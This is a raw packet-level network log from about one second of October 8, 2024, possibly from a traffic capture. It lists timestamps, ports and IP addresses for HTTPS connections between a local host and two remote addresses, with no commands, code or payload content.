Oct 8, 2024 20:52:15.491030931 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.492472887 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.492490053 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.492549896 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.492558002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.492613077 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494039059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494055986 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494102955 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494112968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494153976 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494657040 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494676113 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494716883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494723082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494745970 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494760990 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.494977951 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.494996071 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.495038033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.495045900 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.495069981 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.495083094 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.495111942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.495129108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.495177984 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.495183945 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.495222092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.496344090 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.525506020 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.525533915 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.525571108 CEST	49790	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.525580883 CEST	443	49790	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.602781057 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.602821112 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.602905035 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.604500055 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.604541063 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.604600906 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.605063915 CEST	49791	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.605076075 CEST	443	49791	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.607135057 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.607188940 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.607404947 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.608053923 CEST	49793	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.608068943 CEST	443	49793	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.608170986 CEST	49792	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.608186007 CEST	443	49792	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.609610081 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.609618902 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.609669924 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.609858036 CEST	49794	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.609870911 CEST	443	49794	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.611490965 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.611502886 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.611594915 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.620764017 CEST	49795	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:15.620784044 CEST	443	49795	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:15.913467884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913482904 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913528919 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913551092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913570881 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913615942 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913629055 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913747072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913762093 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913813114 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913821936 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913842916 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913871050 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913877964 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.913911104 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.913939953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.914690971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.914710045 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.914753914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.914762020 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.914802074 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.914815903 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.915637970 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915656090 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915699959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.915704966 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915733099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915739059 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.915750027 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.915755033 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915766001 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.915787935 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.915821075 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916212082 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916229010 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916266918 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916271925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916300058 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916323900 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916572094 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916589975 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916636944 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916645050 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.916692019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.916724920 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.918373108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.918391943 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.918462038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.918471098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.918512106 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.919722080 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.919743061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.919797897 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.919879913 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.919888020 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.919934988 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.920768976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.920785904 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.920835972 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.920844078 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.920864105 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921051979 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921072006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921109915 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921118021 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921148062 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921703100 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921719074 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921758890 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921766043 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921788931 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921798944 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921818018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921855927 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921863079 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921873093 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.921930075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921964884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.921996117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.922003984 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.922014952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924299955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924319983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924370050 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924377918 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924396992 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924659014 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924674034 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924717903 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924725056 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924753904 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924829006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924846888 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924879074 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924885988 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.924912930 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.924984932 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925014973 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925038099 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925045013 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925055027 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925074100 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925103903 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925122976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925158978 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925165892 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925230026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925451040 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925492048 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925493002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925514936 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925519943 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925529957 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925539017 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925683975 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925704002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925733089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925733089 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925740957 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925770998 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925792933 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925800085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925808907 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925863028 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925869942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.925914049 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.925950050 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926085949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926104069 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926137924 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926145077 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926186085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926387072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926408052 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926448107 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926454067 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926484108 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926485062 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926505089 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926551104 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926558971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926579952 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926599979 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926618099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926656961 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926662922 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926680088 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.926932096 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926945925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.926999092 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927006006 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927189112 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927211046 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927247047 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927253008 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927267075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927278042 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927330971 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927342892 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927350044 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927390099 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927447081 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927465916 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927501917 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927510977 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.927519083 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.927555084 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.955188990 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.955214024 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.955282927 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.955296993 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.955332994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.958168983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958219051 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958234072 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.958240986 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958278894 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.958456993 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958475113 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958509922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.958518028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.958535910 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.959518909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959539890 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959579945 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.959589005 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959625959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.959853888 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959871054 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959911108 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.959918976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.959949970 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.960278988 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960323095 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960338116 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.960345030 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960372925 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.960515022 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960561037 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960577965 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.960583925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960623980 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960633993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:15.960642099 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:15.960670948 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.004965067 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.047676086 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.047694921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.047760963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.047776937 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.047810078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.047826052 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.048973083 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.048989058 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.049036980 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.049045086 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.049081087 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.049098969 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.051299095 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.051320076 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.051364899 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.051373959 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.051410913 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.051422119 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052134991 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052155972 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052201033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052207947 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052242994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052254915 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052544117 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052560091 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052613974 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052622080 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052664042 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052805901 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052825928 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052866936 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052874088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.052911997 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.052920103 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.053771973 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.053808928 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.053839922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.053845882 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.053877115 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.053890944 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.053957939 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.053976059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.054008007 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.054014921 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.054042101 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.054054976 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.142129898 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.142168999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.142210007 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.142240047 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.142257929 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.142267942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.142282963 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.142291069 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.142318964 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.142355919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.144097090 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144113064 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144162893 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.144179106 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144202948 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.144218922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.144782066 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144800901 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144845009 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.144851923 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:16.144893885 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:16.145139933 CEST	443	49775	188.114.96.3	192.168.2.9
